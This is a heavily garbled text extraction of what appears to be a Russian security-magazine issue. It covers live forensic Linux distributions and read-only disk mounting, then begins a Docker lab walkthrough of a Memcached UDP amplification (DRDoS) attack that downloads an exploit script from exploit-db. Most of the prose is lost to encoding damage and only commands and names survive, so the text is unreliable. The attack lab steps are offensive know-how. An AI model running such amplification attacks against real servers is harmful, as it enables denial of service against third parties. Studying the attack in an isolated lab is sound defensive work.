????,� ???� ???� ?� ???�??� ???�???� ???� ?????� ???�??� ???�??� ?� ??� ????� ????
?�??�?�????�?????????�????!�)
COVERSTORY
??????�????????
????????,�?????????,�??,
?.�.�.��.�.
angstroem@hotbox.ru
??????
???�????????
????????�??????????��????�????
???�??????????????????�??????
??�?� ????� ??????� ?� ???�?� ???�?� ??� ???�???� ???�?,� ??� ????�
???,� ???� ??� ??????� ???�???,� ?� ???� �????�???粻 ??????�
???????�?,�???�??�???????�??�??��??�??�????�??�?.
???�?�??�?�?�??�???�???,�???????��???�???�???�???�
??????� ???�?� ???�?,� ???�????�???� ?� live� CD.� ?� ???� ???�?
?????� ???�????�??� ????????� ??� ???�????�???�??�??� ????�
???�???�??.� ??� ??� ??????� ?� ???�??�?????� ??� ?� ??????�??
?�???�?????.
????��?????�????????
???� ??� ???� ???� ??????� ??� ???�???�??� ??????� ?� ????� ???�?� ??????,� ??????
?????�???�??�????�???�?�?�??�???�??�???�?:�??�??�???�??�??�???�
????� (???�????,� ??????�??�?� ???�???)� ?� ???�????�??� (???�????,� ???�???
??????�????).�?�??�?????�?�?????�??�??��??�????�??�??�????.
???�??�?????��??�?�???�???�?�?�???�?�??�?????,�?��???�???�
????,� ???????� ???�???� ???�???.� ?� ???�??� ???�??� ???� ???�??????� ??� ????�
?????�??�??�????��????�??�??�???.�???�??�???????�????�???�???�?
???�???� ???�????� ?� ???????� ??????????,� ????????� ???�??� ???????�??� ????�
???�??,� ?????�??� ???�??,� ????�??????� ??????�??�??� ????�?????�??,� ?� ?????�
???� ?� ????????� ??� ???�????�??� ??????� ??� ???�??,� ???????� ???� ?????�????
???????�???????�??�???�?.�??�????,�??�?�??�??????�?????�???,�???�
?????�??�??� ?????� ????�??????�??� ????�????�??�????� ?� ????� ???�??
?�??�??�??�????�??,�???�?�??��??????�???�?�???�????�???�????�
????�??.� ???�?� ???�??????� ?????�??�?� ???� ???� ???????�??� ???�??�?� ????�
???�???�?� ???�??�??,� ?� ????�????�????�??� ???�??�???� ????�??�?� ????
?????�????�???�??�???�?�??�?.
??�???� ???� ???�???� �??�??粻 ???�??� ???�??????� ???�???�?,� ????�?
??� ????�???�??� ???�?????�??.� ???�??,� ????�?� ???�????�?� ?????� ???�??
???�???�??�???,�???�??�??�?�??�?,��??�??�?????�??�??�??�?�?????.
???�????��??�??�??�????�??�?�?,�????�???,��??�??�???,�?�???�?
???�??� ?� ???� ??????� ???�??.� ?????�???� ?????�???� ????�??� ????�???� ???�?
??� ???�??????�??� ????� ?????� ???????� CMS,� ???????� ??� ?????� ???�??�???
?????� ??????� ????� ???� ???�??????�??�?� ????� ???�?� ???????,� ????�?????
???�??�???�??�?�??�???�???�?�????.
????� ???�???� ?� ????�?� ???�??�???�??� ?????�???�??� ????�??�??� ?????�
?????�??� ???�????� (???????� ????�?� ?� ???�???�???????�???� ????�???� ????�
????�???�??�??�??�??�??�?????�?????�??)�??燜inCERT,�??�?????�???
APT� ?� ????????????� ???�??�??� ???�???.� ?????� ???�??� ???�??� ???�??�???:
???�?� ???�???� ???�????� ???????�??,� ???????� ?????� ???�?� ?????� ???????�
??????� ?� ????.� ????�?????� C&C????�???� ???�???,� ???�?� ????????� ????�?,
??????�?� ???�??�?????� ???�????� ????�?� ?� ???�?� ??� ???� ????�???�????� (?
???�??���?�??�???�???�???�??).�??�??�?�??�???�?�??�???�?�???�
????�?????�???�??�???,�?�???�???��??,�??�??�??�??�???�??�?�????�
??� ???�??� ?� ???� ????�????.� ??????� ???�?????�?� ??� ?????�???�??� ???�????�
???�???��???�?�?��?????�?��?????�??�???�?????�??�???.
WARNING
???�???�??�????�??� ???�??� ???�??� ?� ???�????
?� ???�?????�??� ???�??� ?� ???�?????�??� ???�?.
???�??�??�???�??�?�????�??�???�??�???�?
?????�??.
???�?�????????�????????
???�??� ???�???� ?????�???� ?� ??� ???�???� ????�????� ?� ???�????.� ???� ???�?
???�??�????�????�???�?��??�??�(?????�?????)�???�?�????�?????�???�
?????�??�???��??�???�??�???�??�????�??�?????.
?�?????�??,�?�???�???�???�???�??�??�?�?????�???�????�??�????
???�??�?????� ??????� ??,� ?� ???� ???�?� Live????�??�???�??.� ???� ?????�??
??�??�??�?�??�?�???�????�???�???�???�??�???�???�???�??�???�???�
???�????�???�???�????�??�??�??.�??�??�?�???�??�??燱indows�(?????�
???�???�?�?�???�?燩E),�??????�??�???�?�??�??�??�?�??�??�??�???�
??� ?� ???�??�??� ??????�?� (System� Volume� Information,� $Recycle.Bin� ?� ???
?????),�?��燣inux�???�??�??�???.
??�??�??�??�????�??�??�??�???�??�??�????�???�?�???�?燣inux�???�
?????�??�???�??�???�???��???�?�o爎o.�??�???�?,�??�??�?�??�????�?
???�??�??�??�????�??�??�??�?????.�???�?�???�???�??�???�?????�?
????�??�????�??�??�??�??�??��?????牜????�?�??�??�,�???�?��????�
????� ???�????� ???�???� ???� ???�?� ?????� ????�???� ??� ???� ???�??�??� ????�
???��??�????,�??�?�??�????�?�???�????��??�?.
??� ????�????� ???�?� ???????�??� ???�?????�??� ???�??� atime,� ???� ?????�
????� ?????????� ????�??� �??�?� ???�????�?� ???�???粻 ???� ?????� ????�????
?�??�??.�??�????�???�????�??�?????�?????爊oatime.
???�??�???�???�???�???�???�????�??�??�??�????�????�??�??�???,
???� ???�?� ???�???�?� ???� ???�???� ???�??� ??� ???�?� �??�?????�.� ?????� ????�
??????� ???�?????�???� ???�?????�??� ???�????� ???�???� ?????� ???�???�?
?� fsck� ??????�???� ????�???�??�?� ?????�???� ???� ???�??�??� ????�?.� ????�
?????,� ????�????� ?????�??� �??�?????粻 ?????�???� ???�???�???� (???????
???�???�?�??�?,�??�??�??�????�???).
????�???�?� ??????,� ????�???� ????� ???�?????�???� ???�????� ???�??
(ext3/4,� ReiserFS,� XFS,� NTFS� ?� ???�??)� ????�???�?� ?????� ?o� ro� ???� ????�
??????� ????�???�?� ?� ???�?.� ???�?� ???�???� ??� ????�???� ???�??� ?� ??????�?
????�?�?????�????,�??�?�??�???????�????�?????�??�???��???�?� ro,
noload,� ro,nolog� ???� ro,norecovery� ?� ?� ??????�??�?� ??� ????� ???�????
???�???,�???�?��??�?�??????.
???�????�????�??�?????�?�????�?????�?????�???�?�??�?�??�???
???�??�?�???�???�??�????,�??�??�??�?�??�?�????�?燣ive????�??�????�
??.� ???�????,� ???� ????�?� ???�????�???� ??????�?,� ??????� ????�????
?� initramfs� ?� ???�????� swap????�?� ???� ????�???�??�??� ???�?????�??� ?????�
?????�??� ???�????� ???�????� (?� ???� ???�?� ???� ????�?� Root� FS� ??????�??
??????�??�???�??�??�??�??�??�??).�??�???�?�??�??�??????�?�???�
???�???�????�?????�?????�???�??�??�?�??�????燣ive????�??�???�?.
??�???�?� ???????� ????�???� ????????�??� ??????� ??� ?????�?????� ????
???????�?�??�??�?????�??�??�???�?��?????�?????�???.�??�????,�???
ext3�爀xt4�??�?�???�???????�??�????�?????�???�(ext2).
???�??� ???�?� ???� ?????�???�??�?� ???�???� ???�???� ???�??� ???�?????
???�????�??� ???�??�???� ??� ???� ????�??� ??????�???� ?� ??????� �???�?� ????�
???�
blockdev�?setro�/dev/sdb2�(??????爏db2�????�?????????�??????????�
?????)
??�?????� ??,� ???� ???�?:� blockdev� ??????�???� ???�?????� ?????� ???� ?????�
?????� ???�?� ????,� ???????� ???�???�???� ??� ????�?� ???�????� ???�???.� ????
????� ????� ????�??�??,� ??� ??� ?????�???� ???�????� ??????� ?� ??,� ???�??
??� ????�?� ????�???????�???,� ??� ?� ???�?????� (???�?????�????,� ???�??�???�
?????,� ??????�???� ?????�??�?).� ?????� ?????� ???�???�???� ?� ????�???�??
???�??�???�??�??�????�???.
??�???� ??� ????�???� ?????�??�??� ???????�??� ????�??� ??� ???� ???�?
?????�??�??�???�??�??�??�?��????�???�??�????�?????.
??�??�?�?????�??????燽lockdev��?????牜????�?�??�??粻?????�???????�
??� ??????�?� ????�?� ???� ???�???�??,� ?????�?????� ??� userspace,� ????�????
???????�??�???�?�???�??,�?�?�??�???�?��????�???�????.
??�??� ?????�??� ????�??� ?� ?????�???� ???�?� ???�???�?????� ???�??
?� ????�????� ??� ???�????�??� ????�??� ??????�???� loop� device.� ???� ??� ????�
???�??� ???�?????�????� ?????�?� ?� ??� ????� ???�???� ????� ??????�???�???
?????�?????�???.
mount�o爎o,loop�/dev/sdb2燿ir�(?????燿ir��???????????�??�
????????)
???�????�?�????�?????�?��???�???�??�??.
mount�o爎o,loop燿iskimage.dd燿ir
FLASH
??�???�??� ????�????� ???�???�?� ?� ????�?????�???� ??????�???�?.� ??� ????�
????�???� ?????�??????�?� ?????�???� ???�?????�????� ???�????� ???� ?????�
?????� ???�???�???� ??????� ?� ?????�??????� ???�???� ????�?� ???�?
???????????.� ??????�??� ???�????� Garbage� Collection� ?� TRIM� ?????� ??????�
????�?��????�?????��?????�???�????�?�?�??�??�??�????�??�??�??
???�??.
??�???�?�??????�???�???�???�??�??????�??:
1.�?�????� ????� ??????� ?� ???�???� ??� ????�????�????� (???�????�?,� ????
??� SSD� ??????�???�?� ?????�????� ???�??????,� ?� ???�??� ???� ??� ?????�
?????�???�???�???�?�???�???�??�??????).
2.�??�???� ????�??� ???�???� ??????� ??� ???�??� (????�?� ???�???�??
??� ?????�???� ????�?????� ???�????,� ????� ????�???�???� ????�??� ????�
????).
???� ???� ????� ???�???� ???�??�???� ???�???�?????� ??????�???� ???� ???�?
?????�?�?�??�??�???�??�????�???�??�???��??�?�??�???��???�?????�
??????�????,�?�???????�???�????????�?�????�?.
??�??�?????�??� ????�????� ???� ??????� ?� ???????????�???�?� ???�???�?
?????�???,�??�?�???�?�?????,�?�??????�?�???�?�????�?????�?????,
???????�?� ?� ????�??????�??� ???�?????.� ?????�?� ???�???� ??� ???�??�???
??� ????,� ?� ???�??�??� ???�??� ?� ???� ???�????�?� NAND� Flash.� ???�?� ???�?
????� ????�?� ??� ??????� ????�??� ?????� ?????� ?????�???�?� ???�????� ????�
??????�???�??�?,�??�???�???��????�??�?�??????�???�??�??.�????�?
????�????� ???�??�??�????� ???�??� ???� ??????� ?� ?????�?????� ??????� (????�
?????�??�??)�??�?牜???????粻???�??�??�??�?�??,�??�?�????�?�?�???.
?????�??�????????
??�??�???�??� ????� ???????�??� ?????�?????�???� ???�??�???�???????
(??????�???�??????)�??�?????�????.�??�??�????�???�?�??�????�????�
????��??�??�?????�????�??�??.�???�?�???�??�?�??�????�???�???�
???� �??�???�??�????�??粻 ????�???� ???� ???�????� ????�??� ?????�???�?
????�?.
???�????,��????�???�??�?�?????�???????�(?�??????�??�??�???�???�
??????�?)� ???�???�??� ???�???� dc?dd,� ???�??????�??� ?� ??????�????� ??????�
???�?????�???�????�???�??�??????�????�(DCFL)��??�????�????�???�
???� ??????� ??� ?????�???�????�??� (???�????,� ????� ????????).� ???� ????�
?????�??� ????�??� ????�????� dd,� ?????�?????� ?????�??� ?????� ???�????
???�???.�???�?�??�?�?????燿c?dd�??�???�??�???�?�??�??,�?�??�???�
????�???� ??????� ???�????� ?� ????�?� ???�??�?� ???�???.� ???�??�??� dc?dd
????�???�?????��06�???,��??�??????�???�???�?????.
???�?????� ?????� ?????� ???�???�?� ?????�??� ?� ?� ???�??� ???�?� ??????.
????�???�??� ???�??� ??????�???� ????�?� ?????�????� ???,� ????�????� ????
???�????.� ?????�?,� ???�?� ????�??�??�?� ???�?,� ????� ?????� ??????� ?????
page?le.sys.� ???� ???�?� ????�?� ???�???�?????�?� ???�????� Forensic� Toolkit� Im?
ager.� ???� ???�???�??� ?????� ????�???� ??????� Forensic� ToolKit� ??� Access� Data,
???�??� ????�????� ???� ????�???????�???� ????�????� ?� ????�??�????� ????�
???,� ??????�?????� ???� ??????�??� ??????�???�??� ?� ??????�???� Windows?
?????.
??�???�???�???�?�爌age?le.sys
??�???�?�??�?????�??�?
??�??�?????�?� FTK� Imager� ???�???�?� ???� ???????�????� ????????� ?????� ????�
??????�??�??� ???�??� SAM� ?� SECURITY,� ???�???� ?????� ?????� ????�??� SOFT?
WARE� ?� SYSTEM.� ????�????� ???�?� ???�?????� ?????�??� ?????� ???�??� (???
??????�??� ???�??� ???� ?????,� ???� ?� ?????� ???�??)� ???� ???�????� ????�????
?�??�????.��?�??????�???�?�???�????�???�??�??????�?�??�?????
???�?,�???�??�??�??�??,�?�??�?�?????�????�??.
???�???�???�?
??�?�???�?�??????�??�?�?�?�???�?????�??�?�????�???�??,�??�???�
??� ???�?� ?????�??�?????�?.� ???�??????� ???�??� ???????�??� ???�???�???
???�????�??�???�?�??�????�???�??�?��???�?????,�??�?�??�???????
???�???�???�??�????�????�???��?????�???�??�???.
INFO
??�??� ???�??�????� ???� ?????�???� ???�???�?
??????�???� �??????�?�.� ????�?� ?????�?
?� ??????� ???�???�???� ????????� ????�???
?�?????�?�??????.�??????�???�?�???�????
?????� ???.� ?� ?????�??� ?????�??� ???�??�??� ????�
????�??�?� ???�???�?� ?????�???�?� ???�?� ????�
?????� ??????�?� ?� ???�?????� ???�?� ??????�????�
???.
??????????? ??????
?
? �?????�?????
COVERSTORY
??????
???�????????
????????�??????????��????�????
???�??????????????????�??????
??????????燣IVE-????????????
???� ?????�???�??� ???�???�??�???� ????� ???�???� ?????�?� Live� CD/USB
?� ????�???� ???�???�??.� ????�???�??� ??� ???� ???�?????� ????�??�???� ????�
????�?�???燢noppix,燯buntu��???��??�??�?.�????�?�???�??�???�?
???�????�??��?????�???�?????�??�????�??.�??�??��??�???�??.
CAINE
?????�?????� ???�??�????� CAINE� (Computer� Aided� INvestigative� Environment)
???�??�?�???燯buntu�.04.�?�??�????��????�??��????�?????�???�
???.� ???�?????� ????�?� ??????�???� CAINE� 9.0� Quantum� ?� ???�?
?� ???????� 2017� ????.� ????�?� CAINE� ?????�???�?� ?????� �???�?� ???�??�
?????� blockdev��???�???�?�???�??�??�??�???�??????�??�??�?????�?
??????�?�??�?.�?�???�????�?????�??�???�???��?�???�??�??�(???�?
???????�?)�?�??�???�???�???�???�??�?.�???�?燙AINE�?�??�??�??�???
??????�???� ???�??�??� ???????�??� ??� ???�????� ?� ???�?????�??�?� ??
?�??�??�??�???�????�????�??�??????�??�????燣VM.
???�????�?�?????�燙AINE
CAINE� ?????�??� ?????�?� ???????�??� ???�??� ???� ?????�???,� ????�???�??�??
?�???�???�??�???�??�???.�??�??�???�???�??�??�????�??�??�?�???
Windows� ?� Linux.� ???????� ???�????� ???�???� ???�????� ????�???�???�???.
???�?��??�??�????�???�???�???�??�??�??�??????�???�?????�???�????�
??,� ???� ??????�?� ???�???� ???�?????� ????�????�???�??�??� ??????�???�??
????�??�???.
??�??�??�??�燙AINE
CAINE�??�??��???�????�???�??�???�(NirSoft,燬leuth燢it,燗utopsy��??�??),
?????�?� ?� ???� ???� ????�??????�?� ???�?????� ??� ??????�?.� ???�???� ???� Win?
dows�?????�???�?��?????燣ive燜orensic��????�??�???????��??�??�???�
???�???�???� ???�???� Win?UFO.� ???�?� ???� ???�????� ??� ??????�?� ?� ???�??
CAINE.� ????�?� ???�????� ?????� ??� ????�?� ?� ?????�?� ??� ??????�?� ???� ?????
????�??.
???�???�??�??�???燱indows
??�???�??�???�??�??��??�???�燱inAudit
NirSoft燣auncher��??�???燙AINE
DEFT
???�???�????�?????�??�??�????�?�???燯buntu�燚EFT�(Digital燛vidence�&
Forensic燭oolkit).�?�??�??��??????�??�??�????�??�??�???�???�??燱in?
dows??????�?�????�燚ART�(Digital燗dvanced燫esponse燭oolkit)��???�???
?� ????� ????�???�?????� ?� ???� ???�???� (?????�???�?� ?????� ???�????� WINE).
??????�?�??�???�?�?�??�??�???�?,�??�????�??�??�???�??,�?���????
DEFT�???�???燙AINE�?�??�??�????�??�?.
??�?????� ??????� ?� DEFT� ???�??� ??� ???�????� ???�??� ???�????� ????�??
?� ???�????�??� ???�??�?� ?????�???�?� ???�??� ?� ??????�?????�?� ???�??
???????�???.
???�???�?????�????�燚EFT
???�????�???�??�燚EFT
???�??�??�??燚EFT�??�?��05�???.��12�???�?�??�???�???�??�???�
???� ?????�?????�??� ????�???�??� DEFT� Association.� ???�?????� (???�???�
???????�??��???�?????)�??�??�?????�???�???�??�17�???.
Parrot燨S
??�?????�?� ?????�?????� (???� ???� ???�???�???,� ???� ???!)� ???�??�????� Parrot
OS� ??� ???� ???�???�????� ????�?� ??� ?????�???.� ???� ???�???�????� ???� ????�
???�??� ???????�???� ?� ?????� ???????�????.� ???�?� ????� ???� ?????� forensic
mode� ???� ?????�??� ?� ????� ???�????,� Parrot� OS� ???????� ???�???�???� ?� ???
???�??�???�??�?.
Parrot燨S燜orensic爉ode
Parrot� OS� ??????�???� ??� Debian� ?� ???????� ???�???�???.� ???�?????� ???�??
?????�???� ???�?� ???�???� ??????� ?????.� ???�???�???� ?????� ???�????�??
(?????�????�???�?�?�??�????��6�????�??),�?????�?�?�??�??�????
?� ????�??�????� x86,� x86?64� ?� ARM,� ???� ???�???�?� ????????�?� ??????�?????
??�??�?�?燫aspberry燩i��??�??�???????�????.
??� ???�??�????�??�?� ???� ????� ??� ???�??� ???�??�???�??.� ?� ???� ????� ???
???????�??� ???�??�??�?� ???� ???�???�??�????�???� ???�???� ??????�???
???�??��???�??�???�??�??�????�???�?�???�???�?,�??�燢ali燣inux.
??�??�??�??�??�??�??�????�???�燩arrot燨S
??�????�????�??�????燬leuth燢it�燗utopsy�(???�????�??�????????��?????
Sleuth)�???�???�???�??�??�???�??�??�??�??�???�??�?.��??�?????�
?????� ???� ???�?????� ???????�??� ??� ???�????� ????�?� ?� ???�????�????,
???????�?????????�???????�?�???�?�???�???�??.
Sumuri燩ALADIN
Sumuri燩ALADIN��???�?�??????�??�??�??�??燬umuri�??�????�???.�???�
??�?????�???�?燯buntu��???�???�??�?????�???�?????�????燽lockdev�(?
???�?�??�?????�???�??,�??�燙AINE).
??�???燩aladin
?�??�??燩aladin�??�??�??�???�??�??�????��??�????�??�???�??�??�??
???�??� ???�????.� ???�???�?� ???�????�???� ????????�?� ?� ???� ????�??�?
?�??????.
Paladin燭oolbox
???�????�???� ???�??????�???� ???�??�????� ???� donationware� ?� ????????�
?????�??� ?????� 25� ???�????.� ??� ??????� ???�???� ?� ???�??� (???� ????�?,� ???
?�???�?),�?��????�??�??�??�??�?�???�????�????�?.�??�???�?:�???
??� ???�???�???.� ????�?� ???�?� ?????�??� ???�????� ??????� ???� ???�????�?
???�?�??�???�?.
Kali燣inux�燜orensic爉ode
???�????�?��????�?????燢ali�?�??�???�?�???�???�??�?�?�???�??�??,
????�??� swap.� ???� ????????� ?????�??� ???�???�??�????�???� ???�???� ????�
????� ?� ??????�?� kali?forensics?tools� ???�????� 3,1� ?????.� ????� ?????
??� 84� ???�??� ????�?� ??????�?????� ???� ??�??�??????�??� ????�?� ????�?� Kali,
?�??????�?�????�?????�??�???.
Kali燜orensic爐ools
???????�???????????
SMARTLinux
??�??�??�??�??�???�?????�??,�?�????�??�??�??�??�??�???�?�?????
??� ?????�?????� ??????�???� ?� ?????�???� ???�???�??.� ???????�???�?
???� ?????�????� ??????�???�??�?� ?????�???�??�?� ???�???� ?� ?????� ????�
???�????�??�????�??�??�????�?????�???�??��???.
EnCase燜orensic
??????�?� ????� ?????� ????� ???�????� ???� ???????�?.� ??????�???�?� ???� ????�
????�??�?�?????�????�??�??��?????�??�?????�??,�???�??�???�??�?
?燝PS????�???.�??�????�??�??�??�???�?????�??�???�??�??�?????�??.
Grml-Forensic
?????� ?????�???� ???�??�????� ??� ????� Debian,� ???�???�?� ??????�???�?
???� ???�????� ?????�???.� ???� ?????�?� ?????�??� ???�??�????�???� ???�??
?�??�?????�??�???燝rml?Forensic燘ug燭racking燬ystem.
Grml?Forensic�??�?�??�??�??�???�???�燲?Ways燜orensics.�??�??�?????�
???� ????�??� WinHex� ?� ?????� ?????�?????�??� ???�???.� ??� ???�????�???
???????�??� ???� Windows� ???�????� ???�???� (HFS,� XFS� ?� ???�??).� ???�?
??????� ?� ??????�???� ???�?� ??????�???�??� .e01� (????�?� EnCase).� ?????
?????�???� ???�???�??� ???�??� ???�??� ???�??� ????�?????�??.� ???�?� ??????�
?????�??�???�??�??�??�?????��??????�??.
Helix
????�???�??� ???�???�???� ???�???� ???� ???�???� ???�??� ?� ??????.� ???� ????�
???�?�??�?�?????,�??�?�??????,�???�??�???????�??�??�??��????�??
???�??� ????� Helix� Live� Response.� ???� ?????�????� ?????�???� ????�???�???
Helix3� Pro.� ???�?� ????� ???�???�??� ???�??� Helix3,� ??� ???� ??� ???????�???
?�09�???.
????????
?�???�??�????�???�??�??�??�??�???�??�??�??�??�???�???.�????�?�
???????�?�????�?�??????�??,�?�???�??�??�?�????�?????�???,�???�?
???�?�?????�???�???�??�?.
COFEE�(Computer燨nline燜orensic燛vidence燛xtractor)
??�??� ???�??,� ???????� ???� ??????�??� ?� National� White� Collar� Crime� Center
(NW3C),� ???� ???�?� ??????�???�??� ?� ?????�??�??� ???� ???????�???� Windows
XP��????�???�??�??�??.�??�??????�???�??�??�???�????燤S營nternet
Safety� Enforcement� Team� ????�?� ???�??� (Anthony� Fung).� ?� 2008?2009� ?????
Microsoft� ???�?????� ???� ??� ????�??� ???�????�??� ???????�?� ?� ????
?????????�??,� ???????� ????�??�???� ?� ?????�????� ????�?????�???� ?????�
?????�??.� COFEE� ????�??� ????� ???�????� ???�????,� ????�??� ??????,� ?????�
???� ???�??�?,� ?????�????� ?????� ????�?????�?� ?� ??????�??� ???�????� ????�
????.�????�??�??????�?�?�???�??????�?�??????�?�??�???�????�???�
??.�??�??�??�???�?��??�?燤icrosoft,�?�?�???�?�??�?????.
???� ???�??�????� ??� ?????�??� ??????� ???�???�??�???� ??� ?????�???�?
?????�?�???�??�??�??�???�?�??�?�??�??.�??�???�?�????�????�???
???�??�(autoruns,爊etstat,爄pcon?g,爌slist��??�??)��??�??�??�??�?.
FIRE�(Forensic燼nd營ncident燫esponse燛nvironment)
????�????�????�??�????��04�???.�??�??,�??�??�?��??�????.
INSERT�(Inside燬ecurity燫escue燭oolkit)
???�?????�??�??�3.9�??�?��??�???�07�???.
PlainSight
???�??� ?� ???�?????� ???�??� 0.1� ???�?� ?� ???�????� 2008� ????.� ?????�??
???????�??�???�???�??�??�????,�??�???�????�??�?�?????�??�???�???�
????,�???�????�??�?.
??�???�??
???�??�??�???�?�??�????�???�?????�?�??�???�??�??,�?�???��??�??
???????�????�???�??�??.� ???�????,� MacQuisition� ???� ???�???�??�????�???
???�???爉acOS.�???�?�?????�??�??�??�??????�?????�???�?�00�???�
?????.� ?� ???�???�?????� ????� ???????� ???� ???????� ??????�?� ???�???�??
?????�????� ???�???� volafox� ???� ?????�???�??� ???�?� ??????� �????�.� ???
??????�???�?�(?�??�??�?)�??�???�?�??�????�??��??�??�??.
???�??燱inFE�(Windows燜orensic燛nvironment)��??�??�????�?�????????�
??�????�????�??�????�?�?�??�?.�???�??,�?�??�?????��12�???.
???�??� ???� Live� Forensic� ???�????� ?????� ????�??� ??????�?????� ??????
??燦irSoft�燬ysinternals,��????�????�??�??��??�?�????�???��??�?燣in?
ux.
WWW
?????�???�??�??�??牜?????�???�燢ali�
????�????�燣inux??????�???�??�?????�???
???�?????�??燜TK營mager
?????
MEMCACHED
???�???????
???燚OS
???�?????��??????
??????????
????????�??????
?�????????�?????
aLLy
ONsec
@iamsecurity
?� ???�?� ???�???� ???�?� ????� GitHub� ???�??�??� ???�??�??
DoS????�?��??????�??�?????�????/?.�??�?�??�?�???�
?????�????�??�??�?????�?????�???�???�??�??燤em?
cached.�?????燝itHub,�?�?????�???燜acebook,燣iveJournal
?�??�??�???�??�??�?.��???�?????��??�??�?,�??�????�
??�?????�??�?????�?燩ython,�??????�??�??��????�???�
????�??�?.
??�?�??�?�???�??�?��???�??�?????�???燚RDoS�(Distributed燫e?ection燚e?
nial爋f燬ervice)��???�??�??燚oS,�??�?�??�??�??�???�?�?�??�????�???�
??????� ??� ?????,� ?� ???????�?� ??????�?.� ?� ???�??� ?� Memcached� ???�????�
??????�?????�???�??�??�??�?�營P?????�?�??�??,�?�????�??�?��????
???�??�??�?�????�??�??�??.
???�?,� ???� ?????� ???�???�??�?� ???� ??????�???� ????�????� (?????�????�
???)�??�????,�??�?�??�??�??�????�?�??�???�??�???�???�?��??�????�
??� ???.� ?????� ????�??,� ???�??� ?� 15� ????,� ??????�?????� �??�???�,� ?????�
????�???��????�??�????��??�???�?�????�???????,�??�???�????�????�
???�??�??�???�????��??�??�?���?????�??.
??�??� ???�????�?,� ???� ???� ???�?� ???�??�???,� ???� ???????� ?� ???� ?????
???�??�??�???.
?????????
???� ??????�??�??� ???�?� ???� ??????�??�?� ?????� ??????� ????�?.� ???� ????
?????� ?� ????� ??????�?????� ???�??�???� Docker.� ???�??� ???�??�??� ?????
??????� ????� ???�???????�??,� ???� ???�??� ?� ????� ???� ???�???�??� DoS,� ?,
???????,� ???�?????� ???�??� ????�?????� ?????�???� ???�????�?,� ????�?� ??
?????�??�??�??�?.
???�??�??�??�???�????�???????�?燚ebian�,�?�????�???�?�???�???�
??????�??????,�????�???�???�????�?.
??�??�???�??�??????�??.
docker爎un�ti�?rm�?privileged�?name=memcvictim�?hostname=memcvi
ctim燿ebian
???�??,� ???� ???�???� ???�?� ????�?� ???�??�???,� ?� ????�????� ???� ?????�
???????�??�???�??��?????�??�?.�?????�????�???�???�?燤emcached,
???�?� ?????� ????�?????� ????????????� ????�??,� ???�?� ???�????� ???�???�
??????�??�?.
apt?get爑pdate�&&燼pt?get爄nstall�y爐cpdump燽uild?essential爓get�
libevent?dev
???�??�??�????燤emcached�????�???????�?�??????�??,�??�?????�???�
??�??�??�5.5.
cd爚/�&&爓get爃ttp://www.memcached.org/files/memcached?1.5.5.tar.gz�&
&爐ar爔zf爉emcached?1.5.5.tar.gz
cd爚/memcached?1.5.5�&&�./configure�&&爉ake�&&爉ake爄nstall
memcached�u爎oot
??�????�??�????????�??�??,�??????�????�?????�???�??�???
???�??�?
??�???� ????� ??� DoS???????,� ??� ???� ????�?� ???�???�?� ??� ??� ?????� ???�??
Memcached��??�???�??�??�???��??�???,�??�?�??�??�?�?????�???�?
??????�?�???.
docker爎un�ti�?rm�?privileged�?link=memcvictim�?name=memcdo
sbot1�?hostname=memcdosbot1燿ebian
docker爎un�ti�?rm�?privileged�?link=memcvictim�?name=memcdo
sbot2�?hostname=memcdosbot2燿ebian
???�?????�?�??�??�????.
cd爚/�&&爓get爃ttp://www.memcached.org/files/memcached?1.5.5.tar.gz�&
&爐ar爔zf爉emcached?1.5.5.tar.gz
cd爚/memcached?1.5.5�&&�./configure�&&爉ake�&&爉ake爄nstall
memcached�u爎oot
?� ???�?????� ?� ????�?� ?� ??????� ???�????�?.� ??� ???�?� ????�?????� ?� DoS?
??????.
docker爎un�ti�?rm�?privileged�?link=memcdosbot1�?link=memcdo
sbot2�?name=attacker�?hostname=attacker燿ebian
?????� ???� ??????�??�?� Python� ?� ???�????�?:� Scapy� ???� ??????�???�????
??????�?�?�??�??�???�?�爉emcache��??�?????��????�??�??.
apt?get爑pdate�&&燼pt?get爄nstall�y爊ano爌ython爓get�
python?requests爌ython?scapy爌ython?memcache爐cpdump
???�???�?�???????�??�??�??�??.
cd爚�&&爓get爃ttps://www.exploit?db.com/download/44254.py
?�??�?��??�?????�???�??�?????�??�?.
???�?�??�?????�???�????�??�??�??�?燤emcached燚oS
????�???�??燯DP
???�?� ?????� ?????�???�?� ??� ???�???�?� UDP,� ?????�?� ??� ??????� ??� ???�???
??????�???� ?� ???� ?????�???.� User� Datagram� Protocol,� ???� ???�????� ?????�
????????�???� ?????�???,� ?� ????� ??� ???�????� ???�??�??� ???�?� TCP/IP.� UDP,
?�???�??�?燭CP,�?????�???�???�??�??�?????�?�??????.��??�??�??�???�
????�?�??�?????�???�????�????�?��?�????�??�??�??�?????�???�??
???�???,�??�????,�??�??�?�????�???�?�??�??��???�????�??�????.
???�?????�???�?,� ???� UDP� ???�??� ??????�?????�?� ????�?� ???� ??????�?
??�???�?�??�??�??�??�??,�??�??�????�???,�??�??�????�??�???????�?,
????????�?�??�??�?????�?��???�??�?????�????�?.�???�??�?�???????
???�??�?�??�?????,�?�??�?????�????�?�?�??�?�????�???�??�???�??.
???,� ???� ????�???� ????� ?????�????,� ???�???�???� ?� ????�????� RFC� 768,
???????� ???� ????�???�??� ?� ???????� 1980� ????.� ???�????� ???�?� ???????�?
?????�???�?????燯DP�??�????�??�?????�???�??.
?????�???燯DP???????
??�???�??� ?????�????� ???�???� ??� ???????� ?????,� ???�??� ???�?� ???�??� ???
???�?� (16� ???).� ???????�??� ???�??� ????� ?????�?????�?� ?� ??????�??????
?�??�???�?營Pv4.
??�?� ????�????�???�?,�??�??�???�?�??�????,�???�???�?�????�??�?
?????�???�?.� ????� ????�?????�???,� ???� ??� ???????�??� ??????� ???�?� ?????�
????,� ??� ???�????� ???�?� ????� ????�???�?,� ??� ?????� ?????�??� ????� ?????
????????�?�????.�??�??�??�??�??�??�??�??�??�??�???.
????�?????�???�????,�??�?�????�????�???�?�???,�??????�??�???
????�???�?????�?�??�??.
???�???�?� UDP� ?� ???� ???�????� ???� ????�??�????� ?????�????,� ??,� ???�?
??????�???� ???�??� ???�?� ??????�?� ?� ????,� ??� ??????�?� ???� IPv4.� ???� ???,
??????�???�??????�??,�??�???�??�?,�?????�???,�??��??????�?�?營P.
????�??�????燯DP��???�???燱ireshark
???�?????,�?????�????�???�??�??????�?燬ource�燚estination,��??????
???�???營P?????�?�????�??�???��??�???�???�???�???�?.
???????????�?????????
???�?� ????� ???�?� ???�?,� ???� ????� TCP/IP,� ??????� ???� ?� ??� ????�?� ?????� ????�
